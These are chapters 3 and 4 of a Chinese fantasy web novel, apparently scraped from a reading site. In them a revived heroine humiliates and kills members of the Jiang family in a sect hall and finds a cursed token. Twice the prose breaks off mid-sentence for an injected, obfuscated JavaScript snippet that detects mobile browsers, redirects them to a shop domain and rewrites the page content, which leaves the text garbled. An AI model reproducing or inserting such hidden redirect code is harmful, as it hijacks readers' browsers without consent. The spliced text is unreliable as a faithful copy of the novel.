《我真不想当魔头的师妹》 3. 第 3 章 溪骨正殿。 “这拂尘山声名不显,大殿倒是气派。”姜耀儿背着手,从左转到右边,眯眼盯着殿上的浮雕和符纹看了又看,还伸手摸了摸:“就是待人处事实在差了些,这么久了,都没个人出来迎接。” “换个角度想,自然也是她这个所谓的三师姐不受宗门重视。”姜慕儿笑了起来:“她那种性格,难道这世上真的会有人喜欢?说起来,我倒是真的很好奇,这个拂尘山收人也不挑一挑的吗?连虞觅这种五脉皆无之人也要?” 姜耀儿左看右看,还放出灵息探了探,硬是没感觉到半个人的存在,原本被漆黑耸立的溪骨正殿震慑住的性子重新轻挑放纵起来,嘻嘻哈哈地用两只手在嘴边圈了个圆:“有人吗——没人吗——都死了吗 ——哈哈哈哈——” 哈哈哈的肆意回声在正殿回荡,虞花暖翻书的声音也越来越响,越来越快。 快到裴云阙忍不住停下脚步,回头看了她一眼:“你在看什么?” 虞花暖正好看完最后一页,面无表情地合上书:“在看怎么表奏上陈,恭请藏山广慈隆运神武剑尊为我降下一剑,把姜家人全劈了。” 裴云阙嗤笑一声,冷飕飕道:“藏山剑尊百年前闭关,今日才刚刚传出将要出关的消息,你倒是消息灵通。不过,你以为你是谁,还能请剑尊为你出手?” 虞花暖眸光微动:“闭关百年,今日出关?” “你在剑宗长大,却对此事一无所知?”裴云阙睨她一眼:“百年前,宝梵仙宫有妖女叛道堕魔,惑乱道统,是剑尊以身涉陷,大义灭亲,手刃妖徒,此后闭关百年。你家也算是剑道世家,难道你从未持剑?你爹从未向你提及?剑宗未设学堂,而你也从未听课?” 虞花暖静静听完,皮笑肉不笑道:“裴大人也知道的,我在家五谷不勤,手不提剑,实在是被娇惯成了一个废物,否则也不能让姜家人这么轻易就夺去了一切。那日若非裴大人相救,此刻恐怕已经成了孤魂野鬼,无处可去。” 裴云阙一噎。 过去从来都是他故意提及此事,以此相挟虞觅为他所用。虞觅最恨面对自己的过去,常常一脸淡淡的死感,却又不敢反抗。 这还是头一次,她自己以这样满不在乎的神色主动提及。 短短片刻,这种好像哪里变了的感觉,已经是第二次了。 他才要再说什么,虞花暖已经越过了他,与他擦肩,向前方的溪骨正殿走去。 虞花暖在愤怒,在巨大的荒谬中燃烧。 在缓慢地于心中咀嚼并拆碎谢烛雪这三个字。 她死,他闭关。 她活,他出关。 如今距离她身死,竟然已经过去了百年。 她刚才翻的书是《灵蕴九境与十二众术要诀》,乃是六尘大陆所有修士在通灵见祟后都要学习的一册修行启蒙基础,上面笼统地概述了何为修行所需要的灵息,何谓五灵脉,如何聚灵蕴于体,又怎样感知和选择自己的命印,于世间十二众术中找到最适合自己的那一支。 这书虞花暖看得太早,又太基础,已经忘了大半。翻看是想要找找,有没有那一种众术适合此刻没了五灵脉的自己。 结果却看到,百年过去,这书竟也翻新了版本,在十二众术【止戈】一道的名录下,赫然多了一项【借剑】,而借剑请神、表奏请陈的对象,竟然正是谢烛雪! 她身败名裂,百年漂泊,凄风冷雨,孤魂野鬼。 他呢? 他从藏山仙尊,尊号加身,将她所有的功德揽尽,变成了如今的藏山广慈隆运神武剑尊。 剑尊。 剑……尊? 抢了她的剑,杀了她的人,如今也敢称尊,甚至成了天下剑宗和剑修的庇护,凡出剑,都先要向他表奏请陈,俨然半神之姿。 他谢烛雪……敢碰她的剑吗?会用剑吗? 他也配?! 也敢?! 虞花暖冷笑一声,一步踏进溪骨正殿。 “哪来的狗在乱叫?”她音色很甜,却带着十足的冷意和讥嘲:“姜家已经穷到没钱买狗链了吗?” 姜耀儿的笑声戛然而止。 所有人都转头看向了大殿门口。 距离他们上一次见虞觅,已经过去了大半年,抑或更久的时间。 久到他们几乎没能认出来,门口站在光影之下神色淡却冷冽的紫衣少女,和那时倒在血泊之中狼狈如同一滩烂泥的,是同一个人。 姜耀儿眯眼,片刻,阴恻恻笑了起来:“虞觅?还真是你。见到继爹继娘,还不过来行礼?” 过去的虞觅定然会被这样的话语触怒,可紫衣少女却轻飘飘掠过他,径直向前方高位而去。 虞花暖在所有人惊诧的眼神中施施然揽裙坐下,这才居高临下扫了一眼过来:“如若我没有记错,梅洱剑宗以宗主剑印为尊。现在,你们可以来拜我了。” “宗主剑印”四个字一出,在场所有人的脸色顿时一变,哪里还记得旁的事情。 无他,虞闻澜死后,宗主剑印便失传了,任他们将整个梅洱剑宗都掘地三尺,也没找到半点影子。 此事一直是姜家人最大的心结。 如今梅洱剑宗已经完全处于他们的操控之下,可只要一日不掌握宗主剑印,哪怕传承几代,他们也永远都是名不正言不顺之流。 “剑印果然在你那里?!”姜耀儿眉梢上挑,死死盯着她:“我折磨了你娘这么久,她都咬死了不知道剑印的下落,我就知道她是装疯,是想要包庇……” 他的话语被姜慕儿冷冷打断:“别听这个小贱人信口雌黄,我将她的五灵脉都剜了,也没见哪里有剑印,定是她在这里唬我们的!难道还有人能挨过剜脉之痛而不开口?” “可万一真的在她那里呢?!”一道细细的传音逼进姜慕儿的耳中,正是一并前来的姜家三长老,三长老不动声色地观察着上首的虞花暖:“以你我对虞觅的了解,她像是能在说谎后这么沉得住气的人吗?又或者说,便是此前没有,是后来这拂尘山为她寻来了剑印呢?” 姜慕儿断然否决:“绝无可能,以如今梅洱剑宗在西陵的地位,拂尘山又是什么东西,也敢和我们梅洱剑宗作对?敢抢我们想要的东西?” “别管他们敢不敢,我且问你,承脉大会在即,你赌得起吗?” 姜慕儿一窒。 若无剑印,便无法承脉于己派,就算是得到再多的许诺,争抢到了再多的灵脉,也无法标记灵脉。同样,若无灵脉,姜家后辈便没有足够的修炼资源,长此以往,不出三代,姜家与剑宗必败。 这些日子以来,姜慕儿为了这事愁得昼夜难昧,然而昔日剑宗旧人几乎都被她以各种手段葬送在了妖瘴之中,温苒也已经神志不清,她竟然无人可逼问。 却没想到,峰回路转,今日她本是为了另一事而来,却没想到从虞觅嘴里听到了宗主剑印四个字! 她可以不信虞觅的话。 但正如三长老所说,她赌不起。 姜慕儿脸上阴晴不定,盯着虞觅的眼神也愈发凶戾。 姜家三长老修为已至五境,以虞觅的情况,是决计不可能听到他们的传音入密的。 可当神魂过分强大,所有的窃窃私语和传音入密就会被轻风托送而来,巨细无遗地灌入她的耳中。 虞花暖笑眯眯地向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099085|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前倾身:“诸位,想清楚了吗?半死不活过一次后,我的耐心也变得不太好了,可不要让我等太久。” “你说剑印在你那儿,你倒是拿出来给我们看看。”姜慕儿咬牙道:“否则我们凭什么相信你?” 虞花暖挑眉:“相信我?不,我不需要你相信我,也不需要向你证明。毕竟剑印对我来说毫无用处,哪天若是心情不好,一个错手,捏碎便也碎了,说送人,也就送人了。” 姜慕儿尖声道:“你敢?!” “其实不用这么麻烦,有一个最简单的办法。”三长老蓦然开口,沉声道:“剑宗之剑,不可攻击持剑印之人。我境界高你许多,我向你出一剑,若你毫发无伤,不闪不避,一切自然明了。” 虞花暖慢慢眨眼,终于坐直了身体,敛了脸上的笑:“这倒是个好办法。只是如若我当真不闪不避,三长老也当付出一些代价。这世上总不能有人胆敢向宗主剑印出剑,还毫发无伤,全身而退吧?” 三长老还在沉吟,却听姜耀儿已经大笑起来:“她怎么可能敢?三长老,依我看,今日也不必你出手,不如我来。若是她真敢不避不让,我今日便在这里自断一臂!至于你虞觅,若你接不下这一剑,你反正也是死路一条,小爷我宽宏大量,定会记得给你收尸。” 姜慕儿心底莫名一抖,和三长老对了一个眼神,才要说什么,上首的紫衣少女却已经站起了身,抚掌赞道:“如此甚好,一言为定。” 溪骨大殿穹高且深,似是有一只眼睛从高不可见之处冷漠而观。然而这样幽深的震慑之意却并不能阻挡姜耀儿的狂妄狞笑和握剑。 不过是一个母亲都沦为了他的玩物、自己也被剜了五灵脉的废人罢了,也敢在这里对他姜耀儿大放厥词? “六尘敕令,万神临降!梅洱剑宗姜耀儿,上请藏山广慈隆运神武剑尊,借我一剑!剑临!” 长剑出鞘,剑光泠泠,搅动一殿三清之气。 三长老抬了抬手指,想要拦下姜耀儿,却又终究也存了试探的心。 裴云阙脸色微变,一双桃花眼中光芒潋滟,片刻,到底向着虞花暖的方向张开了五指,释放出了一丝三清之气。 大殿之外,一道伶仃纤细的身影跌跌撞撞奔来,头发披散,鞋子也丢了一只,极细却尖的声音破空而至:“阿觅——!不要伤害我的孩子——” 而剑风毫无停顿,依旧凌厉如瀑,带着势在必得之意,扑面而来。 虞花暖负手而立,冷冷看着持剑狞笑向前姜耀儿,淡淡吐出两个字:“不借。” 霎时间,剑停风顿,烟消云散。 那一剑,停在她面前三寸,甚至不能掀起她的发丝和衣袂。 赌对了。 虞花暖掀起一抹轻笑。 满殿俱寂。 没有人知道究竟发生了什么,只有穹顶之上的那只眼睛轻轻眨了一瞬,似是玩味,似是赞许。 宝梵仙宫,藏山之上。 刚刚出关的白衣仙尊倏而睁眼,看向一侧被密密麻麻的符箓法印层叠封住的长剑。 那一个刹那,在他的感知里,无垢剑好像第一次拒绝了有人的借力之请。 罢了,如此灵剑,便是有自己的神智都不奇怪,有自己的脾性和喜恶,也不是什么坏事。 谢烛雪重新闭眼,抚平心底那一瞬莫名的惊悸。 千万里之外,虞花暖抬手,在姜耀儿满面的不可置信和惊惧之中,轻巧地卸了他的剑,扬手一抛,恰好落在了刚刚踉跄踏入大殿的女子面前。 一声铮然清脆。 “如果你愿意,”虞花暖看向那道孱弱人影:“那就捡起这柄剑,砍了他的手。” 4.第 4 章 那道人影似是怔住了。 光倾泻而下,照不入大殿,却恰笼在那道人影上,拉出了极长极细的影子,几乎要蜿蜒到虞花暖脚下。 姜耀儿还陷落于巨大的不可置信中,几乎是麻木地顺着虞花暖的动作回身,看清那道人影的刹那,他这一刻的情绪似是终于有了一个宣泄之处:“温苒,你敢——” 几乎是他出声的同一瞬间,那道人影蓦地动了。 极慢,极轻缓,却毫无停顿。 温苒俯身,纤细颤抖的手指触摸到了那柄剑,然后,在握紧剑柄,提剑起身的刹那,她终于抬起了头。 她似乎已经很久都没有做过抬头的这个动作了,有些僵硬,她甚至没有抬眼,就这样双手提着那柄剑,踩在光与影中,一步一步向前。 姜耀儿眉梢跳动,戾气上涌,他万万没想到温苒的骨头还没有被他踩碎,居然真的敢提他的剑! 他向着温苒的方向抬手,灵息翻涌在掌心,尚未成型,却有什么东西落在了他的上臂。 是一截发钗,半木半铜,钗尾是翠云纹样,钗身有些斑驳,是扔在地上他都不会多看一眼的劣等货色。 但此时此刻,那破烂翠云发钗就这样在他的上臂比划了一下:“从这里砍,刚刚好,你觉得呢?” 她是什么时候靠近自己的?! 他的灵息竟然没有丝毫波动,没有任何感知?! 可明明他已经有四境。 九境之间,每一境的跃升都与此前犹如天壤之别,没道理他感知不到一个三境的逼近! “虞觅,你不要欺人太甚!”姜慕儿终于从此前的震撼中回过神来,怒目看向虞花暖:“就算你手上真的有宗主剑印又如何?我们毕竟是你的长辈,岂可如此无理!难道你真的要他承受断臂之痛?!那可是你的……你的舅舅!” 虞花暖心中作呕,却只轻轻歪头,“咦”了一声:“长辈?什么长辈?我虞觅六亲断绝,举目无亲,什么时候还有长辈存世?我怎么不知道?” 姜慕儿完全没想到她事到如今还能说这种话,竟是顿了一瞬,才尖声道:“你手中有我宗剑印,又让温苒拿剑,难道你还要否认自己是虞觅?!” “我没有否认啊,我的确是虞觅没错,也的确有梅洱剑宗的剑印。但这两件事,有关系吗?”虞花暖顿了顿,疑惑更甚:“而且,从刚才起,我就一直在疑惑一件事。你们口口声声直呼我的名字,请问我……和你们很熟吗?” 姜耀儿被这番强词夺理惊呆了,忍不住回头:“不是,你这话什么意思……” 他话音才起,紧接着,却是一声难掩的惊叫痛呼! 所有人都因为虞花暖的话语分神的瞬息,温苒不知何时已经来到了近前,她整个人几乎都没有气息波动,也没有什么真正活着的情绪,所以她这样面无表情地举剑下劈,直到剑锋吞吐,刺穿肌肤,姜耀儿才感觉到! 温苒没有修行过,是完全的凡体之人,但她到底拥有一个曾是西陵排名前三的大剑师丈夫,这些年来,也曾并肩持剑,哪怕只是夫妻间的嬉戏,她也绝非手不能握之人。 更何况,姜耀儿的这柄剑,本就是温苒亡夫虞闻涧的本命剑。 而她的剑落下时,虞花暖的那枚发钗便已经悄然落在了她的剑背上。 所以姜耀儿只能在嘶哑惨叫中,眼睁睁看着那柄毫无剑意与剑气的剑,在温苒燃烧着血与怒火的目光中,将他的手臂完整地砍落了下来! 另一边,姜慕儿和三长老也已经忍耐到了极致,姜慕儿这一生最是看重这个弟弟,口中厉呼一声,想要起剑,却又转而想起了宗主剑印之事,剑气翻涌又止,竟是气血倒转,逼得自己吐出了一口血! 切口平整的一条手臂落地,血色喷射,虞花暖已经折身向后,十分嫌弃地避开了。 温苒却不避不让,任凭那血浇在自己的头面上,顺着披散的长发流淌下来。 她的面容有些模糊,有些麻木,但她已经不再发抖的手里兀自握着剑,像是准备好了随时再沉默地劈下一剑。 姜耀儿在哀嚎中急急给自己的手臂点了止血诀,眼神中的阴鸷几乎能低出血来:“虞觅,你这个小贱人!很好,你等着,你以为拿着宗主剑印,就可以为所欲为了吗?今日在你这里受的折辱,我定当千百倍奉还在你娘身上。” 他边说,边用残存的那只手一把扯过了温苒带血的头发,几乎是将她拖曳到了自己身前,阴森笑了一声:“你说你不是虞觅,难道你连自己亲娘的命都不顾了吗?” 温苒想要说什么,却被姜耀儿一把扼住了喉咙,只能发出“呃呃”的声音。 虞花暖却看也没看温苒一眼,仿佛完全不在意一般,只是重新扫了一圈殿中众人,神态和语气几乎算得上是和颜悦色:“所以,这么久了,你们还没有说,此番来我拂尘山,到底是为了什么事情?难不成就是为了和我认亲?” 事情闹到这个地步,宗主剑印又疑似在她身上,姜慕儿自然无论如何都无法再说出让她去归云仙宫长老之子的灵位拜堂的话。 ——否则岂不是将整个梅洱剑宗都拱手相让了! 吃亏至此,眼前这个虞觅又明显性情大变,说话颠三倒四,看似句句有回应,却偏偏又滴水不漏,连自己亲娘在面前受到折辱,都能气定神闲视而不见,反而让他们狠狠吃了一亏,让姜耀儿丢了一只手臂。 幸好梅洱剑宗这些年来也并非只有些会剑的止戈,也养了几位医术不凡的雀林,只要足够及时,断臂重接也非难事。 一时半会讨不到好,重续手臂却等不得。姜慕儿恨恨与三长老对视一眼,打算先咽下眼前这口气,回宗门商议一番,再从长计议。 可他们才露出去意,甩袖转身,便听到身后的紫衣少女开口。 “等等。” 众人脚步微顿。 “这个世界上,所有的事情都应该是有代价的。”虞花暖把玩着手里的翠云发钗,淡淡道:“万万没有让你们就这样大摇大摆进了我拂尘山溪骨殿,大闹一场,又拍拍屁股就可以走人的道理。” 姜慕儿怒声道:“你……你还要如何!耀儿都已经付出一条手臂的代价了!” “一条手臂?”虞花暖挑眉,像是听到了什么极有趣的事情。她指了指大殿,又绕着圈了圈周遭:“你们看这里,像是什么很善的地方吗?你们是不是误会了什么?” 明明只有三境,但她这样懒懒散散上前一步,姜慕儿竟然忍不住想要后退。 “诸位或许有所不知,入我拂尘山者,第一个要求便是六亲断绝,与尘无染。”虞花暖眨眨眼,看向他们,沉吟道:“方才你们好像说,是我的继父继母还有……舅舅?我竟然还有没死的亲戚吗?” 姜慕儿翕动嘴唇,欲言又止,竟半晌没能说出半个字来。 “来都来了,就别走了吧。”虞花暖抬起两根手指,在唇前轻轻一吹,笑吟吟轻巧道:“不管是不是,我心里总是有些不安。万一是真的,我岂不是违反了拂尘山规,我可不想被逐出师门。正好,让我来教教你们,什么才是请神借力。” 三长老心头一悚,某种难以言说的预感席卷心头。可在他的感知之中,面前之人的确五脉皆断,区区三境。 三境,怎会让他有如临大敌感? 他还在惊疑不定,虞花暖已经并指向前,随意一指。 “六尘敕令,万神临降。”虞花暖言简意赅:“杀。” 无事发生。 姜慕儿先是被吓了一跳,然后蓦地讥笑出声:“虞觅,你吓唬谁呢?你以为自己是什么东西,一个五脉皆无的残废,还当自己是什么言出法随的九境大宗师吗?说杀还真能越境杀了我们?哈哈哈哈哈——” 她大笑着便要踏出门去,才走一步,却觉得哪里不对。 姜耀儿和三长老都没有发出半点声音,惊恐至极地看着她。 姜慕儿不解:“看我干什么,走啊?” “阿姐,你……”姜耀儿声音颤颤,眼瞳抖动:“你……你只剩下……” 只剩下什么? 姜慕儿顺着他的话语,下意识低头看向自己。 然后,她就发出了一声尖叫。 她、她的身子呢!! 为什么她只剩下一颗头了!! 只剩下一颗头,为什么还能悬在半空,还能说话,还能…… 姜慕儿的思绪戛然而止,那颗突兀浮空的头颅,哐当一声,睁着眼睛掉在了地上。 姜耀儿此生都没有如此害怕过,甚至看着那颗头骨碌碌滚到了自己脚下,都没敢动作一下。 偏偏那道分明曼妙轻盈如银铃,如今却好似恶鬼锁魂般的声音再度响了起来。 “哎呀,怎么只死了一个。” 三长老似是被惊醒,下一刻,五境修为已经全数展开,庇于己身,一手捞着抖得像是筛子的姜耀儿,一手拎着姜慕儿的头颅,如一缕青烟般夺门而出。 逃得如此之快,不过瞬息,已经没了身影。 甚至忘了殿中还有一个提着剑的温苒。 殿门大开,殿外的光终于淌了进来,落在了虞花暖身上。 她的面容被照亮,鼻尖挺翘,唇色潋滟,瞳如点墨,天生笑眼。虽依然苍白瘦削,但这一刻,却如有光华流转,姿容盛极,仿佛独得万神眷顾,让人不敢多看,却又不舍移开视线。 裴云阙一脸复杂地看了虞花暖许久,才开口:“你是怎么做到的?” “忘了告诉你,来的路上,我翻了翻书,顺便命印了【请谒】一道。”虞花暖抬手掩住口鼻,低低咳嗽了几声,眉目间有懒得遮掩的疲惫,话语间却十分随意:“要说怎么做到的,可能是因为诸神皆爱我,所以格外愿意借力予我吧。” 裴云阙张口就要反驳。 开什么玩笑! 且不论于十二众术中择道一事关乎此生道途,本应郑重又神圣,世人无不沐浴焚香,选良辰吉日,慎又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102526|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重之。就算真的就这么随便轻松就完成了命印,【请谒】这一道,明明理应日夜侍于神庙之中,向六尘万神诉诸溢美之词,以求诸神借力。 以上种种,俗称马屁精。 马屁拍得越到位,哄得诸神越舒服,诸神愿意抬抬手指,借出一点力就越多,越大。 总之,前提是,你得先去拍马屁啊! 就算拍够了,他裴云阙过去又不是没见过请谒,哪个不是先叩四方,舌灿莲花,洋洋洒洒送上一整篇让人听了都会为之感到脸红的咏颂之词,才能借来那么一点点雷声大雨点小的力的? 哪有虞觅这样轻描淡写的两句话,诸天万神就真的降力把人杀了的! 这简直颠覆了裴云阙过去人生的所有认知。 更重要的是…… 如果虞觅有这种能耐,当初何至于被姜慕儿逼到如此悲惨的境地,又怎会被他的毒药所胁,不得不为他所用,每天死气沉沉地活着? 他满腹疑惑,看虞花暖的目光已经像是在看一个全新的、陌生的人。虞花暖却毫无所觉般,径直走向前,俯身捡起了一样东西。 是姜慕儿留下的。 准确来说,是借神之力毁了她的身躯之时,从她的身体里滑落出来的。 像是一张请帖,入手质感如金箔,金红的贴面被焚去了边角一隅,上面是篆体的“相思”二字,但笔画之中,每一处蜿蜒都像是有金线蛇虫爬行,让人见之皱眉。 更重要的是,不知为何,这东西让虞花暖觉得很熟悉。 那种莫测的、难以用言语描述的幽深感……到底是在哪里见过? 她边想,边翻转过了相思贴的贴面。 然后,眼瞳微缩。 上面所书,竟是虞闻涧和姜慕儿的生辰八字,再一笔一笔,以与正面的相思二字相同的笔触,将生辰八字勾描拖曳,仿佛什么锁魂的困阵,要将两个本不应有交集的人,拽入同一片命运之中。 妖邪之物,却无妖邪之气。 甚至借神之力的一击,都未曾摧毁。 虞花暖拧眉。 仔细想想,虞闻涧生前妻女的爱护有加绝非强装,他与温苒伉俪情深,在原主虞觅的所有记忆里,从来都是一个宽厚温和、备受尊崇之人。可他游历二载归来后,性情大变,几乎抛妻弃女,将自己一手建立的梅洱剑宗拱手相让,对姜家人残害过去长老的事情也视而不见,几乎默许。 可他已是六境的大剑师,一宗之主,在西陵国如日中天,气运加身。能够影响到他命运轨迹、将他原本的姻缘硬生生拆散,再让他的全家人都陷入如今境地的妖邪之物…… 便是她前世认识的几位九境的天命和神符,要做到这个,恐怕都要大费周章。姜慕儿在认识虞闻涧之前,姜家不过是清河坊小门小户的修行人家罢了,又是从哪里得到相思贴的? 等等,清河坊。 她在清河坊,好像还有一位天命旧识。 此事或许可以去问问这位旧交,也正好让那人起起卦,先算算她对此物的熟悉究竟从何而来,再看看她这个借尸还魂到底是怎么个事儿。 而且…… 姜家人,清河坊,相思贴,梅洱剑宗,归云仙宫。 所有这些像是被一条神秘的、看不清晰的线连了起来,然后在冥冥中,递到了她的掌心,想要牵引着她,去往某个方向。 关于她自己,也关乎虞觅未尽的遗愿。 “裴大人可曾见过此物?”她抬手问道。 裴云阙却道:“什么?” “你看不见?”虞花暖反应过来,又见温苒的眼神也是死气沉沉毫无焦距,沉吟更甚,心道难不成这东西非要血亲才能看到? 她将那处处透着诡谲的相思贴扣在掌心,顷刻间在心中已经有了决断:“你之前说过,归云仙宫的情报,也可以换解药?” 裴云阙的目光落在她空荡的手中,想问什么,却又咽了回去,愕然:“……你想干什么?” 虞花暖当然不可能说实话,煞有介事地随口道:“趁姜家人没反应过来,去他们老家杀人放火一番,顺便找一找他们勾结归云仙宫的证据?” 裴云阙被她的措辞搞得沉默片刻,才道:“去一趟倒也无妨,只是近来承脉大会在即,清河坊与归云仙宫离得又近,恐怕不怎么太平。你……” 他本想说以你的本事,去了小心送死,转念又想到了她方才请谒借力的样子,硬生生把到了嘴边的话又咽了回去。 虞花暖却仿佛知道他要说什么,扬眉一笑:“裴大人,生死有命,富贵在我。人不能一辈子都在原地坐以待毙,总要翻过山,向前看的。” 她像是在说给裴云阙,解释自己的性情大变,也像是在说给殿中满身血污,剑身雪亮的另一个人。 “不管怎么说,谢谢你方才想要救我。” 然后,她挥挥手,将方才那枚半木半铜的翠云发钗放在温苒掌心,与她擦身而过,向着殿外而去。